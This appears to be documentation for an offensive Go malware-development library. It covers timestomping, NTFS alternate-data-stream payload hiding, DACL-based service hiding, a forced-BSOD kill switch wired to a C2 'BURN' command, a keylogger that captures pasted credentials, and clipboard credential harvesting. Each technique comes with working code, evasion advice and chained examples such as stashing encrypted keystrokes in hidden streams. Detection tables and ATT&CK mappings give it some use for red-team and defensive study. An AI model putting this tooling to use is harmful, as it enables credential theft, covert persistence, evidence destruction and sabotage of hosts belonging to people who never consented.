  • $FILE_NAME ($FN) — maintained by the filesystem driver itself. Read by forensic tooling (Sleuth Kit, Plaso). User-mode APIs cannot modify it; only kernel-mode code (e.g. FSCTL_SET_FILE_INFORMATION with the right context) can.

Standard timestomping changes only $SI. Triage tools and AV looking at the four $SI timestamps see the implant as "old". Forensic tools comparing $SI against $FN see the disparity and flag it.

This package handles the user-mode $SI path. To also rewrite $FN, you'd need a kernel driver — out of scope here.

How it works

flowchart LR
    SRC["reference file<br>e.g. notepad.exe"] -->|"GetFileTime"| TIMES["3 FILETIMEs"]
    TIMES -->|"SetFileTime"| DST["target file<br>e.g. impl.exe"]

    classDef ref fill:#e8f4ff
    classDef tgt fill:#ffeae8
    class SRC ref
    class DST tgt

CopyFrom is the common path: open the reference, read its three timestamps, apply them to the target. Set is the explicit-value path when you want a specific date.

The OS kernel's $FN records remain untouched — that's the gap forensic tools exploit.

API Reference

Set(path string, atime, mtime time.Time) error

godoc

Set access and modification times on path. Cross-platform (uses os.Chtimes under the hood, which on Windows wraps SetFileTime).

Parameters: path — file to stomp. atime — desired access time. mtime — desired modification time.

Returns: error — wraps os.Chtimes failures.

Side effects: $STANDARD_INFORMATION access + modification entries overwritten. Creation time unchanged on this entry point.

OPSEC: no event-log entry. Visible only to forensic-grade MFT comparison.

CopyFrom(src, dst string) error

godoc

Read src's ModTime and apply it as both atime and mtime on dst.

Parameters: src — reference file (its mtime is read). Typically C:\Windows\System32\notepad.exe or another stable system binary. dst — file to stomp.

Returns: error — wraps os.Stat / os.Chtimes failures.

Side effects: all three $SI timestamps on target match reference. $FN unchanged.

Examples

Simple

import (
    "time"
    "github.com/oioio-space/maldev/cleanup/timestomp"
)

// Make impl.exe look 5 years old
old := time.Now().Add(-5 * 365 * 24 * time.Hour)
_ = timestomp.Set(`C:\Users\Public\impl.exe`, old, old)

Composed (with reference file)

Match a stable system binary so the dropped artefact blends with neighbours:

ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, `C:\Users\Public\impl.exe`)

Advanced (chain into wipe + selfdelete)

Reset directory metadata so the parent doesn't show "recently modified":

ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, filepath.Dir(target))
_ = wipe.File(target, 3)
_ = timestomp.CopyFrom(ref, filepath.Dir(target)) // re-stomp after unlink
_ = selfdelete.Run()

Complex (build-time stomping)

For implants you build and deliver — not for runtime cleanup:

//go:build ignore

// Pre-flight build hook: make the dropped EXE look like cmd.exe in a
// snapshot from 2019 (BUILD-TIME, not runtime).
_ = timestomp.CopyFrom("samples/cmd.exe", "dist/impl.exe")

OPSEC & Detection

ArtefactWhere defenders look
$STANDARD_INFORMATION recently changed but $FILE_NAME unchangedSleuth Kit istat, Plaso, MFTECmd
SetFileTime API call on a file in a writable user directoryEDR file-IO event aggregation (low-fidelity)
Cluster of files with identical $SI timestampsStatistical hunt — multiple stomped files often inherit identical times

D3FEND counter: D3-FH (weak; the real counter is MFT analysis). Hardening: enable audit-policy on file modifications in critical directories.

MITRE ATT&CK

T-IDNameSub-coverage
T1070.006Indicator Removal: Timestomp$STANDARD_INFORMATION-only variant

Limitations

  • $FILE_NAME not touched. A forensic comparison defeats this. To also rewrite $FN, kernel-mode access (a driver, or a BYOVD primitive) is needed — out of scope for this package.
  • Resolution differs by filesystem. NTFS stores 100-ns precision; FAT32 stores 2-second precision. Cloning from NTFS to FAT32 truncates.
  • Some $SI triggers (e.g. content rewrite by another tool, AV scan) re-update the timestamps after the stomp. Stomp last in the cleanup sequence.

See also

NTFS Alternate Data Streams

← cleanup index · docs/index

TL;DR

Read, write, list, delete named data streams attached to NTFS files (file:streamname:$DATA). Streams don't appear in dir, Explorer, or most file APIs — useful for hiding payloads, storing implant state, and the cleanup/selfdelete rename trick.

Primer

Every file on an NTFS volume has a default unnamed data stream (:$DATA) — that's what cat / Get-Content reads. NTFS additionally allows arbitrary named streams attached to the same file. The streams share the file's MFT entry, ACL, and timestamps; they're addressable as file.txt:hidden:$DATA. Most user-facing tooling ignores everything but the default stream, which makes ADS a quiet stash spot.

ADS support is filesystem-bound. NTFS supports it; FAT32, exFAT, ext4, and any non-Windows filesystem do not. Crossing a non-NTFS boundary (e.g., copying to a USB stick) silently drops the streams.

How it works

sequenceDiagram
    participant Caller
    participant ads
    participant Kernel as "NTFS driver"
    participant File as "some.txt"
    Caller->>ads: Write("some.txt", "hidden", payload)
    ads->>Kernel: CreateFileW("some.txt:hidden", GENERIC_WRITE)
    Kernel->>File: allocate/locate stream "hidden"
    Kernel-->>ads: HANDLE
    ads->>Kernel: WriteFile(HANDLE, payload)
    ads->>Kernel: CloseHandle(HANDLE)
    ads-->>Caller: nil

The package wraps CreateFileW with the colon-suffix syntax. The kernel handles stream allocation transparently. List uses NtQueryInformationFile(FileStreamInformation) to walk the MFT entry's stream attribute list.

API Reference

Write(path, stream string, data []byte) error

godoc

Append-or-replace data into the named stream of path.

Parameters: path — NTFS file (must exist). stream — stream name (any non-empty string, no colons). data — bytes to write.

Returns: error — wraps CreateFileW / WriteFile failures, or "not NTFS" when the volume doesn't support ADS.

Side effects: stream is created if absent, replaced if present.

WriteVia(creator stealthopen.Creator, path, stream string, data []byte) error

godoc

Same semantics as Write, but routes through the operator-supplied stealthopen.Creator. nil falls back to os.Create (identical to plain Write); non-nil layers transactional NTFS, encryption, or any other write primitive on top of the ADS landing. Internally calls stealthopen.WriteAll with the <path>:<stream> composite path.

Read(path, stream string) ([]byte, error)

godoc

Read the entire named stream into memory.

ReadVia(opener stealthopen.Opener, path, stream string) ([]byte, error)

godoc

Same semantics as Read, but routes through the operator-supplied stealthopen.Opener. nil falls back to plain os.Open on the composite <path>:<stream> (identical to Read); non-nil layers an operator-controlled read primitive on top.

[!CAUTION] *stealthopen.Stealth opens by NTFS Object ID and addresses the MFT entry (the main stream). Named ADS streams share the entry but are addressed by stream name; the Object-ID path cannot reach them. An Opener that needs to defeat path-based EDR hooks AND read a specific named stream must route through NtCreateFile with the composite path (FILE_OBJECT resolution) rather than Object-ID resolution.

List(path string) ([]string, error)

godoc

Enumerate all stream names attached to path (excluding the default unnamed stream).

Delete(path, stream string) error

godoc

Remove the named stream. The base file remains.

Examples

Simple

import "github.com/oioio-space/maldev/cleanup/ads"

_ = ads.Write(`C:\Users\Public\desktop.ini`, "config", []byte("c2=1.2.3.4"))

cfg, _ := ads.Read(`C:\Users\Public\desktop.ini`, "config")

streams, _ := ads.List(`C:\Users\Public\desktop.ini`)
// streams: []string{"config"}

_ = ads.Delete(`C:\Users\Public\desktop.ini`, "config")

Composed (with crypto)

key := crypto.RandomKey(32)
ct, _ := crypto.AESGCMEncrypt(key, []byte(state))
_ = ads.Write(`C:\Windows\Temp\index.dat`, "s", ct)

// Later:
ct, _ = ads.Read(`C:\Windows\Temp\index.dat`, "s")
state, _ := crypto.AESGCMDecrypt(key, ct)

Advanced (chain with selfdelete)

cleanup/selfdelete uses ADS rename internally:

// selfdelete renames the default stream to ":x" via the same primitive
// surface the ads package exposes, then sets DELETE disposition.
// See cleanup/selfdelete/selfdelete.go for the full sequence.
selfdelete.Run()

OPSEC & Detection

ArtefactWhere defenders look
MFT entry size grows when stream is addedNTFS forensic tools (Sleuth Kit, Plaso)
CreateFileW with colon-suffix pathEDR file-IO event aggregation; rare in benign software
dir /R lists all streamsManual triage
Get-Item -Stream * (PowerShell)Manual hunt
Sysinternals Streams toolForensic walkthrough

D3FEND counter: D3-FCR (File Content Rules) — antivirus engines can scan named streams when configured.

MITRE ATT&CK

T-IDNameSub-coverage
T1564.004Hide Artifacts: NTFS File AttributesNamed-stream payload storage

Limitations

  • NTFS-only. Cross-filesystem copy drops streams.
  • Many AVs scan ADS. Defender enumerates and scans named streams by default since Win10 1607.
  • Mark-of-the-Web stream (Zone.Identifier) is added automatically to internet-downloaded files; collisions are unlikely but worth avoiding (don't use Zone.Identifier as your stream name).
  • Backup tools (Robocopy with /B, Windows Backup) preserve streams; unaware tools (copy, xcopy without /B) silently drop them.
  • Stealth read of named ADS streams is non-trivial. ReadVia
    • nil-fallback uses path-based os.Open on <path>:<stream> — visible to path-hooking EDRs. The repo's bundled *stealthopen.Stealth routes through NTFS Object IDs which addresses the MFT entry only (main stream), not a specific named stream. A stealth-on-ADS read primitive needs a custom Opener built on NtCreateFile with the composite path; not provided by this package.

See also

Hide Windows services via DACL

← cleanup index · docs/index

TL;DR

Apply a restrictive DACL (Discretionary Access Control List) to a Windows service so users — even Administrators — can't query its config or status through the SCM. The service still runs. services.msc, sc.exe query, Get-Service, and most EDR enumerators come up blank.

Primer

Every Windows service has a security descriptor controlling who can query, start, stop, change config, or change ACL on it. The default DACL grants SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_INTERROGATE | SERVICE_USER_DEFINED_CONTROL to interactive users and admins. Replacing that DACL with one that denies those rights makes the service invisible to standard listing tools without affecting its execution.

The persistence side (creating + starting the service) lives in persistence/service. This package handles the hiding side, applied AFTER install.

How it works

sequenceDiagram
    participant Caller
    participant SCM
    participant Service
    Caller->>SCM: OpenSCManager(SC_MANAGER_ALL_ACCESS)
    Caller->>SCM: OpenService(svcName, WRITE_DAC | READ_CONTROL)
    SCM-->>Caller: HANDLE
    Caller->>Service: SetNamedSecurityInfo(SE_SERVICE, DACL_SECURITY_INFORMATION, restricted-DACL)
    Service-->>Caller: ERROR_SUCCESS
    Note over SCM,Service: subsequent EnumServicesStatus calls<br>filter out the service for non-SYSTEM callers

The restricted DACL the package applies:

D:(D;;CCSWLOLCRC;;;IU)
 (D;;CCSWLOLCRC;;;SU)
 (D;;CCSWLOLCRC;;;BA)
 (A;;LCRPRC;;;SY)
  • D entries deny CCSWLOLCRC (query config / status / control / read control) to Interactive Users (IU), Service users (SU), Built-in Admins (BA).
  • A entry allows LCRPRC (read DACL + read control + start) to SYSTEM only.

Result: the service runs as SYSTEM, but only SYSTEM can enumerate it.

API Reference

Mode constants

const (
    Native  Mode = iota // SetNamedSecurityInfo (in-process)
    SC_SDSET            // sc.exe sdset (works remotely with hostname)
)

HideService(mode Mode, host, name string) (string, error)

godoc

Apply the restrictive DACL to name.

Parameters:

  • modeNative (preferred for in-process) or SC_SDSET (preferred for remote — accepts a \\hostname UNC).
  • host — empty for local, \\REMOTE for cross-machine via SC_SDSET.
  • name — service short name (the value passed to sc create NAME).

Returns:

  • string — captured stdout of sc.exe sdset when SC_SDSET, otherwise empty.
  • error — wraps API failures.

Side effects: rewrites the service security descriptor. Reversible via UnHideService.

UnHideService(mode Mode, host, name string) (string, error)

godoc

Restore the default DACL on name.

Examples

Simple

import "github.com/oioio-space/maldev/cleanup/service"

if _, err := service.HideService(service.Native, "", "MyService"); err != nil {
    log.Fatal(err)
}
// MyService runs but does not appear in services.msc / sc query / Get-Service.

// Restore at end of mission:
_, _ = service.UnHideService(service.Native, "", "MyService")

Composed (with persistence/service)

// Install + start
_ = persistenceService.InstallAndStart("MyService", "C:\\Path\\to\\impl.exe")
// Hide
_, _ = service.HideService(service.Native, "", "MyService")

Advanced — remote hide via UNC

out, err := service.HideService(service.SC_SDSET, `\\TARGET-HOST`, "MyService")
if err != nil {
    log.Fatalf("hide on TARGET-HOST: %v\noutput: %s", err, out)
}

OPSEC & Detection

ArtefactWhere defenders look
Security event 4670 (DACL change on object)Audit Object Access policy must be enabled
Sysmon Event 4697 (service control change)Always logged when Sysmon configured
Service still listed in HKLM\SYSTEM\CurrentControlSet\Services\<name>Registry-based enumeration sees through DACL
EnumServicesStatusEx from SYSTEM context returns the serviceEDR running as SYSTEM is unaffected

D3FEND counter: D3-RAPA (Resource Access Pattern Analysis) — registry-based service enumeration defeats DACL hiding. Hardening: scan HKLM\SYSTEM\CurrentControlSet\ Services\ directly, not via SCM.

MITRE ATT&CK

T-IDNameSub-coverage
T1564Hide ArtifactsDACL-based service hiding
T1543.003Create or Modify System Process: Windows Servicehide-side companion to install/start

Limitations

  • Requires SeTakeOwnership / WRITE_DAC. Standard admin OK; non-admin cannot rewrite the security descriptor.
  • Defeated by registry enumeration. Anyone who reads HKLM\SYSTEM\ CurrentControlSet\Services\ directly sees the service regardless.
  • SYSTEM-context EDR is unaffected. The DACL allows SYSTEM read.
  • Audit policy on object access logs Event 4670 for the DACL change itself; not always enabled by default but trivial for blue to enable.
  • SC_SDSET mode shells out to sc.exe — leaves a child-process artefact that Native mode avoids.

See also

Controlled Blue Screen of Death

← cleanup index · docs/index

[!CAUTION] This is a destructive, irreversible primitive. Calling bsod.Trigger crashes the host immediately. Use only as a last-resort kill switch when stopping log shipping or process collection is more valuable than the host. The example tests are gated behind a build tag and do not run by default.

TL;DR

Enable SeShutdownPrivilege, then call NtRaiseHardError with a fatal status code. The kernel responds by triggering a bug-check (BSOD). In-memory state is destroyed faster than any forensic agent can flush it; the host reboots.

Primer

NtRaiseHardError is the kernel's mechanism for raising errors from user-mode that the kernel decides how to handle. With the right parameters (notably OptionShutdownSystem), the kernel treats the report as an unrecoverable system fault and crashes immediately with the specified bug-check code (KeBugCheckEx).

The technique requires SeShutdownPrivilege, which any process running as a Medium-IL user with that privilege available can enable via RtlAdjustPrivilege. Most local accounts have it.

Use cases:

  • Operator wants to abort an exfil operation when an EDR alert fires — faster to crash the host than to clean up.
  • Anti-forensic last resort: terminate the implant + all running collection agents in one shot.
  • Red-team exercise: validate the blue team's "host went silent" response.

How it works

sequenceDiagram
    participant Caller
    participant ntdll
    participant Kernel
    Caller->>ntdll: RtlAdjustPrivilege(SeShutdownPrivilege, true)
    ntdll-->>Caller: NTSTATUS_SUCCESS
    Caller->>ntdll: NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6 /* OptionShutdownSystem */)
    ntdll->>Kernel: NtRaiseHardError syscall
    Kernel->>Kernel: KeBugCheckEx(0xc0000420, ...)
    Note over Kernel: BSOD — host crashes

OptionShutdownSystem (value 6) tells the kernel to treat the hard error as fatal. The supplied status code propagates into the bug-check parameter shown on the BSOD screen.

API Reference

Trigger(caller *wsyscall.Caller) error

godoc

Raise the privilege and trigger the BSOD. Returns only on failure (the host doesn't come back).

Parameters:

  • caller — optional *wsyscall.Caller. nil falls back to WinAPI; pass a real caller to route through indirect syscalls (recommended, the privilege adjustment + raise are otherwise visible to user-mode hooks).

Returns:

  • errorErrPrivilege if RtlAdjustPrivilege failed, or a wrap of the NtRaiseHardError NTSTATUS. No success return — on success the host crashes.

Side effects: crashes the host.

OPSEC: the bug-check itself is the artifact. Crash dump (if configured) names the originating process; the SeShutdownPrivilege-adjustment ETW event may precede the crash.

var ErrPrivilege error

Sentinel returned when the privilege adjustment fails (e.g. running as Low IL or the privilege is removed from the token).

Examples

Simple

//go:build windows
package main

import (
    "github.com/oioio-space/maldev/cleanup/bsod"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    caller := wsyscall.New(wsyscall.MethodIndirect, nil)
    if err := bsod.Trigger(caller); err != nil {
        // Reached only on failure; host doesn't come back on success.
        panic(err)
    }
}

Composed — guard with explicit operator confirmation

if !operatorConfirmed("really BSOD?") {
    return
}
// Wipe in-memory secrets first so even crash dumps reveal less.
memory.WipeAndFree(payloadAddr, payloadSize)
_ = bsod.Trigger(caller)

Advanced — chain with operator-side TLS handshake

A pattern from real ops: BSOD on receipt of a "BURN" command from C2.

go func() {
    for cmd := range c2Channel {
        if cmd == "BURN" {
            memory.WipeAndFree(stateAddr, stateSize)
            _ = bsod.Trigger(caller)
        }
    }
}()

OPSEC & Detection

ArtefactWhere defenders look
Bug-check itselfSystem event log Event 1001 (BugCheck), Event 41 (Kernel-Power) on next boot
Memory dump (if configured)C:\Windows\MEMORY.DMP (or C:\Dumps\ per WER LocalDumps) names the originating process
SeShutdownPrivilege adjustmentPre-crash ETW from Microsoft-Windows-Security-Auditing (Event 4673 with audit policy on)
Cluster of identical bug-checks across hostsSysmon-shipped Event 1001 in SIEM

D3FEND counter: D3-PSEP (weak — bug-checks are inherent to OS); the real counter is availability monitoring (host-up dashboard) and crash-dump analysis post-incident.

MITRE ATT&CK

T-IDNameSub-coverage
T1529System Shutdown/RebootForced bug-check variant

Limitations

  • SeShutdownPrivilege required. Sandboxed processes (Edge Renderer, AppContainer Store apps) cannot adjust this privilege.
  • Crash dump destination depends on system config. If the host is configured for kernel-only minidumps, the dump may not include the full process state — but it WILL include the originating thread.
  • VM hosts with snapshot-on-crash configurations may preserve state better than the operator wants.
  • Win11 modern standby — some bug-checks are recoverable on Win11 if the system is on AC power and the kernel decides to attempt recovery (rare for STATUS_ASSERTION_FAILURE-class codes).

See also

Collection techniques

← maldev README · docs/index

The collection/* package tree groups local data-acquisition primitives for post-exploitation: keystrokes, clipboard contents, screen captures. Each sub-package is self-contained and Windows-only — pick the data source the operator needs and import the matching package.

flowchart LR
    subgraph user [User session]
        KB[Keyboard input]
        CB[Clipboard]
        FB[Framebuffer]
    end
    subgraph collection [collection/*]
        K[keylog<br>WH_KEYBOARD_LL hook]
        C[clipboard<br>OpenClipboard + seq poll]
        S[screenshot<br>GDI BitBlt]
    end
    subgraph sink [Operator sink]
        OUT[stdout / file / C2 channel]
    end
    KB --> K
    CB --> C
    FB --> S
    K -. Ctrl+V .-> C
    K --> OUT
    C --> OUT
    S --> OUT

Packages

PackageTech pageDetectionOne-liner
collection/keylogkeylogging.mdnoisylow-level keyboard hook with per-event window/process attribution and Ctrl+V clipboard capture
collection/clipboardclipboard.mdquietone-shot ReadText plus Watch channel driven by GetClipboardSequenceNumber polling
collection/screenshotscreenshot.mdquietGDI BitBlt → PNG; primary, arbitrary rectangle, or per-monitor capture

Quick decision tree

You want to…Use
…record what the user types, with window contextkeylog.Start
…also capture pasted credentialskeylog.Start — Ctrl+V auto-snapshots clipboard into the event
…read clipboard once (e.g. after runas)clipboard.ReadText
…stream clipboard changes for a sessionclipboard.Watch
…grab the primary monitor as PNGscreenshot.Capture
…enumerate monitors first, then capture onescreenshot.DisplayCountCaptureDisplay
…crop to a specific UI region (e.g. an open RDP window)screenshot.CaptureRect

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1056.001Input Capture: Keyloggingcollection/keylogD3-PA
T1115Clipboard Datacollection/clipboard, collection/keylog (paste capture)D3-PA
T1113Screen Capturecollection/screenshotD3-PA

Cross-referenced techniques

Two adjacent collection workflows live under sibling areas. They are listed here as a navigation convenience; their canonical homes are the packages that own them.

Area concernTech pageOwning package
NTFS Alternate Data Streams (hide collected data in :stream suffixes)alternate-data-streams.mdcleanup/ads
LSASS minidump (in-process MINIDUMP assembly via NtReadVirtualMemory)lsass-dump.mdcredentials/lsassdump

[!NOTE] Both pages will move to their owning areas in Phase 6 of the doc refactor (see docs/refactor-2026-doc/progress.md).

See also

Keylogging

← collection index · docs/index

TL;DR

Install a WH_KEYBOARD_LL system-wide hook; every keystroke arrives in a Go channel with translated character, modifier flags, active-window title and owning-process path. On Ctrl+V the clipboard snapshot is bundled into the same event, capturing credential pastes automatically.

Primer

A low-level keyboard hook intercepts each WM_KEYDOWN message at the OS message-dispatch layer, before it reaches any application. This gives the implant a complete transcript of everything the user types — passwords, commands, search queries — across every window without injecting into any process.

Each Event carries the translated Unicode character (or a label such as [Enter], [Backspace], [F5]), the modifier state (Ctrl/Shift/Alt), the foreground window's title, and the executable path of the owning process. That attribution turns a raw character stream into a structured log: browser typed credentials, terminal commands, and document edits land in separate buckets with no additional work by the consumer.

The Ctrl+V case is handled specially: when a Ctrl+V chord is detected the hook reads the current clipboard text and attaches it to the event. This catches credential pastes that bypass keystroke-level keylogging entirely — a password manager that auto-fills via the clipboard never generates printable keystrokes.

The hook runs on a dedicated OS thread with its own Win32 message pump. The goroutine that calls Start returns immediately; the pump thread runs until the context is cancelled, at which point it posts WM_QUIT to itself and tears down cleanly.

How It Works

sequenceDiagram
    participant User
    participant OS as "Win32 message pump"
    participant Hook as "hookProc (LL hook)"
    participant Xlat as "ToUnicodeEx"
    participant Ch as "Event channel"
    participant Consumer

    User->>OS: WM_KEYDOWN (VkCode)
    OS->>Hook: hookProc(nCode, wParam, lParam)
    Hook->>Hook: GetAsyncKeyState (modifiers)
    Hook->>Hook: GetForegroundWindow + cache check
    Hook->>Xlat: VkCode + ScanCode + HKL
    Xlat-->>Hook: Unicode char (or dead-key pending)
    Hook->>Ch: Event{Character, Ctrl, Window, Process, …}
    Ch-->>Consumer: receive
    Hook->>OS: CallNextHookEx (pass-through)

Key implementation details:

  • ToUnicodeEx with wFlags=0x4 preserves dead-key state in the keyboard layout buffer, so accented characters (é, ü) are synthesised correctly without consuming the pending dead key.
  • Foreground-window resolution is cached by HWND and refreshed only on change — GetWindowText + QueryFullProcessImageName are expensive relative to the hook cadence.
  • AttachThreadInput is not used; modifier state is read via GetAsyncKeyState which does not require thread attachment.
  • A single global atomic.Pointer[hookState] serialises concurrent Start calls; a second call while a hook is active returns ErrAlreadyRunning.

API Reference

type Event struct

godoc

One captured keystroke with foreground-window attribution.

FieldTypeDescription
KeyCodeintVirtual key code (VK_* constant)
CharacterstringTranslated Unicode character, or [Enter] / [Backspace] / [F1][F12] / [Left] etc.
CtrlboolCtrl modifier was held
ShiftboolShift modifier was held
AltboolAlt modifier was held
ClipboardstringClipboard text — populated only on Ctrl+V; empty otherwise
WindowstringForeground window title at keystroke time
ProcessstringForeground process executable path
Timetime.TimeCapture timestamp

var ErrAlreadyRunning

godoc

Returned by Start when a WH_KEYBOARD_LL hook is already active in the current process. Only one hook per process is supported.

Start(ctx context.Context) (<-chan Event, error)

godoc

Install the hook and start the message pump on a locked OS thread.

Returns:

  • <-chan Event — receives one entry per WM_KEYDOWN; closed when the hook tears down.
  • errorErrAlreadyRunning if a hook is already active; OS error if SetWindowsHookEx fails.

Side effects: registers a WH_KEYBOARD_LL system-wide hook; spawns a goroutine that calls runtime.LockOSThread.

OPSEC: SetWindowsHookEx(WH_KEYBOARD_LL) is one of the highest-fidelity EDR signals — few legitimate processes install global keyboard hooks.

Examples

Simple

import (
    "context"
    "fmt"

    "github.com/oioio-space/maldev/collection/keylog"
)

ch, err := keylog.Start(context.Background())
if err != nil {
    panic(err)
}
for ev := range ch {
    fmt.Printf("[%s] %s", ev.Process, ev.Character)
    if ev.Clipboard != "" {
        fmt.Printf(" <paste: %q>", ev.Clipboard)
    }
    fmt.Println()
}

Composed (per-process segmentation)

import (
    "context"
    "fmt"
    "path/filepath"
    "strings"

    "github.com/oioio-space/maldev/collection/keylog"
)

func logByProcess(ctx context.Context) map[string]string {
    ch, _ := keylog.Start(ctx)
    bufs := map[string]*strings.Builder{}
    for ev := range ch {
        proc := strings.ToLower(filepath.Base(ev.Process))
        if bufs[proc] == nil {
            bufs[proc] = &strings.Builder{}
        }
        bufs[proc].WriteString(ev.Character)
        if ev.Clipboard != "" {
            bufs[proc].WriteString(fmt.Sprintf("[Paste:%q]", ev.Clipboard))
        }
    }
    out := make(map[string]string, len(bufs))
    for k, v := range bufs {
        out[k] = v.String()
    }
    return out
}

Advanced (encrypted ADS stash)

Buffer keystrokes, encrypt each chunk with AES-GCM, and hide the ciphertext in an NTFS Alternate Data Stream on an existing system file.

import (
    "context"
    "strings"

    "github.com/oioio-space/maldev/cleanup/ads"
    "github.com/oioio-space/maldev/collection/keylog"
    "github.com/oioio-space/maldev/crypto"
)

const (
    adsHost   = `C:\ProgramData\Microsoft\Windows\Caches\caches.db`
    adsStream = "log"
)

func main() {
    ctx := context.Background()
    ch, _ := keylog.Start(ctx)
    key, _ := crypto.NewAESKey()
    var buf strings.Builder

    for ev := range ch {
        buf.WriteString(ev.Character)
        if buf.Len() < 512 {
            continue
        }
        blob, _ := crypto.EncryptAESGCM(key, []byte(buf.String()))
        buf.Reset()
        existing, _ := ads.Read(adsHost, adsStream)
        _ = ads.Write(adsHost, adsStream, append(existing, blob...))
    }
}

See ExampleStart in keylog_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
SetWindowsHookEx(WH_KEYBOARD_LL) callSysmon Event 7 (image load) and ETW Microsoft-Windows-Win32k; EDRs specifically watch LL hook installation
Global hook DLL loaded into every GUI processDefender / MDE module-load telemetry
Sustained GetMessage loop in a non-UI processBehavioural heuristics — unusual message-pump activity
GetForegroundWindow + QueryFullProcessImageName pairsEDR API telemetry; rate unusually high for non-accessibility software
GetClipboardData on every Ctrl+VClipboard access telemetry (Windows 10 1809+, Controlled Folder Access)

D3FEND counters:

  • D3-PA — behavioural analysis of process API usage patterns.
  • D3-SCA — system-call sequence analysis, catches unusual LL hook setup.

Hardening for the operator: run inside a process that legitimately installs hooks (accessibility layer, IME, screen reader lookalike); avoid calling Start from a headless service where a message pump is anomalous.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1056.001Input Capture: Keyloggingfull — WH_KEYBOARD_LL hookD3-PA
T1115Clipboard Datapartial — captured only on Ctrl+V paste eventsD3-PA

Limitations

  • One hook per process. ErrAlreadyRunning prevents double-installation; multiple concurrent keylog sessions require separate processes.
  • Requires a Windows GUI session. SetWindowsHookEx(WH_KEYBOARD_LL) is rejected in sessions without a desktop (SYSTEM service, Session 0).
  • Non-BMP Unicode. Surrogate-pair characters (emoji, rare CJK) may appear split across two events or transliterated; ToUnicodeEx returns two UTF-16 words in sequence.
  • EDR hook visibility. LL hooks are among the most scrutinised API calls in endpoint detections; combine with process masquerading if stealth is required.

See also

Clipboard capture

← collection index · docs/index

TL;DR

ReadText returns the current clipboard text in one call. Watch polls GetClipboardSequenceNumber and streams each new distinct text value on a channel until the context is cancelled — no hooks, no DLL injection, pure Win32 API that blends with legitimate software traffic.

Primer

Users routinely copy passwords, API keys, and session tokens to the clipboard — from password managers, browser address bars, and SSH key files. Clipboard monitoring captures that data in transit regardless of how the application populates the clipboard.

The implementation deliberately avoids clipboard notification hooks (AddClipboardFormatListener, SetClipboardViewer). Those mechanisms require a message window and are scrutinised by EDRs. Instead, Watch polls GetClipboardSequenceNumber, a lightweight integer that the OS increments on every clipboard write. When the number changes, OpenClipboard + GetClipboardData(CF_UNICODETEXT) reads the new content. The poll interval is caller-controlled: aggressive (100 ms) catches rapid-fire credential pastes; gentle (1–5 s) is indistinguishable from benign polling.

ReadText is a one-shot variant for the case where the operator wants to snapshot the clipboard immediately after gaining execution — for instance, after a runas escalation that may have left a password on the clipboard.

How It Works

sequenceDiagram
    participant User
    participant App
    participant OS as "Windows Clipboard"
    participant Watch as "clipboard.Watch()"

    User->>App: Ctrl+C (copy credential)
    App->>OS: SetClipboardData(CF_UNICODETEXT)
    OS->>OS: increment sequence number

    loop every pollInterval
        Watch->>OS: GetClipboardSequenceNumber()
        alt sequence changed
            Watch->>OS: OpenClipboard(0)
            Watch->>OS: GetClipboardData(CF_UNICODETEXT)
            OS-->>Watch: UTF-16LE handle
            Watch->>Watch: UTF-16LE → UTF-8
            Watch->>Watch: emit on channel
            Watch->>OS: CloseClipboard()
        end
    end

Key implementation details:

  • GetClipboardSequenceNumber requires no clipboard ownership and no message window — it is a pure read of a kernel counter.
  • OpenClipboard(0) (null HWND) is valid and avoids creating a fake window that process-enumeration tools could flag.
  • On ErrOpen (another process holds the clipboard momentarily) Watch silently skips the tick rather than blocking — the next tick will retry.
  • The first value is emitted unconditionally on Watch start, regardless of whether the sequence number has changed since the last call.

API Reference

var ErrOpen

godoc

Returned by ReadText when OpenClipboard returns 0 — typically because another process holds the clipboard at that instant.

ReadText() (string, error)

godoc

Return the current clipboard text as UTF-8.

Returns:

  • string — clipboard text; empty string if the clipboard holds no CF_UNICODETEXT data.
  • errorErrOpen if OpenClipboard fails; OS error on GetClipboardData failure.

OPSEC: single OpenClipboard + GetClipboardData + CloseClipboard sequence — identical to any legitimate paste operation.

Watch(ctx context.Context, pollInterval time.Duration) <-chan string

godoc

Poll the clipboard and stream each newly-copied text value.

Parameters:

  • ctx — cancellation; the returned channel is closed when ctx is done.
  • pollInterval — sleep between polls; 100 ms–500 ms for aggressive capture, 1–5 s for stealthy background monitoring.

Returns:

  • <-chan string — receives the clipboard text each time the sequence number changes; closed on context cancellation. The first read is emitted unconditionally.

Side effects: spawns one background goroutine that runs until ctx is done.

OPSEC: sustained poll cadence is the only fingerprint — unusually high GetClipboardSequenceNumber rates (>10/s) stand out in API-frequency telemetry.

Examples

Simple

import (
    "context"
    "fmt"
    "time"

    "github.com/oioio-space/maldev/collection/clipboard"
)

// One-shot read.
text, err := clipboard.ReadText()
if err == nil {
    fmt.Println(text)
}

// Continuous monitor — print every change.
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
defer cancel()
for content := range clipboard.Watch(ctx, 500*time.Millisecond) {
    fmt.Println("copied:", content)
}

Composed (credential filter)

Emit only values that look like credentials — reduces noise and limits the on-disk footprint.

import (
    "context"
    "strings"
    "time"
    "unicode"

    "github.com/oioio-space/maldev/collection/clipboard"
)

func looksLikeCredential(s string) bool {
    if len(s) < 8 || len(s) > 512 {
        return false
    }
    hasDigit, hasUpper, hasSpecial := false, false, false
    for _, r := range s {
        switch {
        case unicode.IsDigit(r):
            hasDigit = true
        case unicode.IsUpper(r):
            hasUpper = true
        case !unicode.IsLetter(r) && !unicode.IsDigit(r):
            hasSpecial = true
        }
    }
    return (hasDigit && hasUpper) || hasSpecial ||
        strings.ContainsAny(s, "@:$%#")
}

func credentialWatch(ctx context.Context) <-chan string {
    out := make(chan string)
    go func() {
        defer close(out)
        for text := range clipboard.Watch(ctx, 300*time.Millisecond) {
            if looksLikeCredential(text) {
                out <- text
            }
        }
    }()
    return out
}

Advanced (encrypt-then-log to per-day file)

Encrypt each clipboard entry with AES-GCM before writing to disk — the on-disk artefact is opaque to YARA/string scanning.

import (
    "context"
    "fmt"
    "log"
    "os"
    "time"

    "github.com/oioio-space/maldev/collection/clipboard"
